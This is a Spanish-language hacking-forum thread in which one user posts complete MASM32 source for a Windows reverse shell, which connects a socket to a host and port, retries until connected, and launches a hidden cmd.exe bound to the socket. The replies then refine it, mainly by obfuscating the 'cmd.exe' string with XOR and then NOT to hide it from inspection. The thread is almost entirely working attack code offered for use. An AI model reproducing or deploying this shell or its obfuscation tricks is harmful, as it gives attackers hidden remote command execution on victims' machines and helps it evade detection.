Remote Shell (Masm32)

Iniciado por Vaagish, 14 Mayo 2014, 21:37 PM

0 Miembros y 1 Visitante están viendo este tema.

Vaagish

Hola.. aporto con un codigo en masm.. no hay mucho que aclarar..

Código (asm) [Seleccionar]
.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
includelib kernel32.lib
; ----------------------
include ws2_32.inc
includelib ws2_32.lib
; ----------------------

.data?
_Wsadata WSADATA <>
_Sockaddrin sockaddr_in <>
_Processinfo PROCESS_INFORMATION <>
_StartupinfoA STARTUPINFOA <>
.data
_Comandline db "djc)bb", 0 ; -> cmd.exe xor 7

.code
_Start:

; SOCKET
mov eax, 100007Fh ; -> 127.0.0.1
mov _Sockaddrin.sin_port, 0b822h ; -> 8888
mov _Sockaddrin.sin_addr, eax
mov _Sockaddrin.sin_family, AF_INET

invoke WSAStartup, 202h, addr _Wsadata
invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0

; SHELL
mov _StartupinfoA.hStdInput,  eax
mov _StartupinfoA.hStdOutput, eax
mov _StartupinfoA.hStdError,  eax
mov _StartupinfoA.wShowWindow, SW_HIDE
mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
mov _StartupinfoA.cb, sizeof _StartupinfoA

mov ebx, eax ; Guardo el Socket Handle

; CONNECT
_noconnect:
invoke connect, ebx, addr _Sockaddrin, sizeof _Sockaddrin
or eax, eax
jnz _noconnect

; DECRYPT
xor ecx, ecx
push offset _Comandline
pop eax
_nozero:
cmp byte ptr ds:[eax + ecx], 0
je _zero
xor byte ptr ds:[eax + ecx], 7
inc ecx
jmp _nozero
_zero:

invoke CreateProcessA, NULL, addr _Comandline, NULL, NULL, TRUE, 0, NULL, NULL, addr _StartupinfoA, addr _Processinfo
invoke ExitProcess, 0

end _Start


Suerte!! Saludos!

cpu2

Doy por sentado de que no es una shellcode, ya que estas usando la sección .data.

Veo algunas cosas que se pueden mejorar, por ejemplo la estructura sockaddr_in, ya que estas usando .data por que no cargas directamente la estructura en ella?

Código (asm) [Seleccionar]
section .data

_sockaddr_in:

sin_family: .word 0x0002
sin_port:   .word 0xb822
sin_addr:   .long 0x0100007f
sin_zero:   .quad 0x0000000000000000


Solamente tendrias que copiar la direccion de _sockaddri_in, y no cargarla en el code. Pasa esas declaraciones a intel syntax.

Con la estructura STARTUPINFOA mas de lo mismo, solamente tendrias que cargar en la section code los descriptores "handles" xD, si ya sabes el tamaño de la estructura, el valor de SW_HIDE y el de STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES para que los cargas en el code?

Código (asm) [Seleccionar]
push offset _Comandline
pop eax


Por que haces eso? No es mejor cargar directamente el offset a eax, que subirlo al stack y luego bajarlo?

Y el loop para cmd.exe, lo encuentro una tonteria con todo mi respeto, si es una cosa simple como esa, cargala con not y luego en el code con 2 ya la tienes lista.

Un saludo.

Vaagish

CitarDoy por sentado de que no es una shellcode, ya que estas usando la sección .data.
Verdad.. quería un código ejecutable, igual pasarlo a shellcode no es complicado.. ;)

CitarVeo algunas cosas que se pueden mejorar, por ejemplo la estructura sockaddr_in, ya que estas usando .data por que no cargas directamente la estructura en ella?
No había logrado hacer eso.. pero luego de tu sugerencia conseguí hacer así:

Código (asm) [Seleccionar]
_Sockaddrin:
sin_family:
word 0002h ; -> AF_INET
sin_port:
word 0b822h ; -> 8888
sin_addr:
dword 100007Fh ; -> 127.0.0.1

Código (asm) [Seleccionar]
invoke connect, ebx, _Sockaddrin, 16

Pero tengo problemas con Startupinfo.. porque seria algo asi:

Código (asm) [Seleccionar]
_StartupinfoA:
hStdInput:
dword eax
hStdOutput:
dword eax
hStdError:
dword eax


Donde eax contiene el handle que lo recibe de WSASocket (como bien decías en el comentario..) El asunto esta clarisimo, no se puede hacer eso de esa manera.. :S

Citarpush offset _Comandline
pop eax

Por que haces eso? No es mejor cargar directamente el offset a eax, que subirlo al stack y luego bajarlo?
Ha si, si.. totalmente.. eso quedo mal de una funcion que habia probado.. corregido seria:

Código (asm) [Seleccionar]
mov eax, offset _Comandline

CitarY el loop para cmd.exe, lo encuentro una tonteria con todo mi respeto, si es una cosa simple como esa, cargala con not y luego en el code con 2 ya la tienes lista.
Not te entendi jaja el loop para conectar? o el del xor?

cpu2

Cita de: Vaagish en 15 Mayo 2014, 00:34 AMPero tengo problemas con Startupinfo.. porque seria algo asi:

Código (asm) [Seleccionar]
_StartupinfoA:
hStdInput:
dword eax
hStdOutput:
dword eax
hStdError:
dword eax


Donde eax contiene el handle que lo recibe de WSASocket (como bien decías en el comentario..) El asunto esta clarisimo, no se puede hacer eso de esa manera.. :S

Dios, claro que no puedes hacer eso. Si miras la estructura en la msdn te quedara todo mas claro, doy por sentado de que las secciones de esa estructura estan todas en 0, ya que no conozco como funciona esas estrucutra, lo que tienes que hacer es cargar el tamaño y el valor de SW_HIDE y el de STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES, los handles no puedes cargarlos directamente en la data ya que antes tienes que crearlos, eso es lo que tienes que mover a la estructura en la sección code.

Cita de: Vaagish en 15 Mayo 2014, 00:34 AMNot te entendi jaja el loop para conectar? o el del xor?

Me refiero al xor, lo que te intento decir es que, la cadena cmd.exe si le sumas el 0 que es necesario, suman 8 bytes esos son 2 dword, lo que te estoy diciendo es que cargues la cadena "cmd.exe",0 "noteada" mirate la cadena en hexadecimal, lo unico que hace not es invertir los bits, es simplemente para maquillar la cadena sin hacer lo que tu haces.

Un saludo.

Vaagish

#4
Ya viniste a complicarme la vida.. jajaja Na.. genial! Pero ahora que tiraste la piedra me das una mano.. jeje

Citar"cmd.exe0" = 636D642E65786500 Hex

Ok.. hasta ahí todo bien.. entiendo el not, pero no puedo aplicárselo a un tipo tan largo me dice.. ¬¬

Y con lo de la estructura no caigo:

Código (asm) [Seleccionar]

;esto se hace asi, no queda otra..
mov _StartupinfoA.hStdInput,  eax
mov _StartupinfoA.hStdOutput, eax
mov _StartupinfoA.hStdError,  eax
;Esto otro hacerlo en .data.. pero como carambanos¿?
mov _StartupinfoA.wShowWindow, SW_HIDE
mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
mov _StartupinfoA.cb, sizeof _StartupinfoA


EDIT:
Código (asm) [Seleccionar]
mov eax, 9C929BD1h
not eax
mov eax, 9A879AFFh
not eax


Ahi esta "noteada" la cadena, le aplico el not para convertirla a "cmd.exe".. pero como la guardo/uso devuelta??

EDIT2:

Código (asm) [Seleccionar]
mov eax, 0D19B929Ch
not eax
mov dword ptr ds:[NuevaLinea], eax
mov eax, 0FF9A879Ah
not eax
mov dword ptr ds:[NuevaLinea + 4], eax


Bueno!!! Asi funciona.. pero.. es lo mas adecuado/Optimo?

Gracias man!! Me pusiste a pensar! Saludos!

cpu2

Código (asm) [Seleccionar]
.section data

_cmd: .quad 0xff9a879ad19b929c

.section .text
.globl _start

_start:

notl _cmd
notl _cmd+4
leal _cmd, %eax


Sobre la estructura, tienes que hacer lo mismo que sockaddr_in.

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686331%28v=vs.85%29.aspx

Código (asm) [Seleccionar]
.section .data

_StartupinfoA:

cb: .long 0x00000000    ; lo que estas poniendo con el mov, cargalo directamente aqui


Con dwFlag y wShowWindows lo mismo, solo que carga con ceros todo lo que no uses, por cierto te vuelvo a repetir, que no se si podras hacerlo con esta estructura, ya que veo cosas raras como eso de LPTSTR supongo que sera un puntero, pero no se si Windows rellena esa estructura automaticamente, no se si me explico, tu prueba y ya esta, en cosas como esta no puedo decirte mas, sockaddr_in es como en Unix.

Un saludo.

Vaagish

#6
Citarnotl _cmd
notl _cmd+4
leal _cmd, %eax

Puede que sea por mi ignorancia.. pero no se puede hacer eso en masm
por eso moví el dword a eax y le aplique el not, luego el segundo dword.

Con respecto a las estructuras, bueno.. la primera la conseguí, pero para ser sincero solo por probar (puede que en otra situación tenga que hacerlo así, si o si) pero convengamos que el código queda mas limpio usando las estructuras declaradas por el SO, y no se ahorra mucho en tamaño ni en instrucciones..

Igual esta bueno saber manejar estructuras con etiquetas.. para lo que yo pretendo hacer (cuando tenga mas claras las cosas) me va a venir impecable saber eso

Gracias!! Saludos!

CORRECION:

Pero si se puede hacer esto:

Código (asm) [Seleccionar]
not dword ptr ds:[CLine]
not dword ptr ds:[CLine + 4]

cpu2

Ya veo que lo corregiste, claro que puedes hacerlo, en GAS o Masm, la instruccion soporta los registros y memorias.

Y bueno sobre las estructuras cuando quieras.

Un saludo.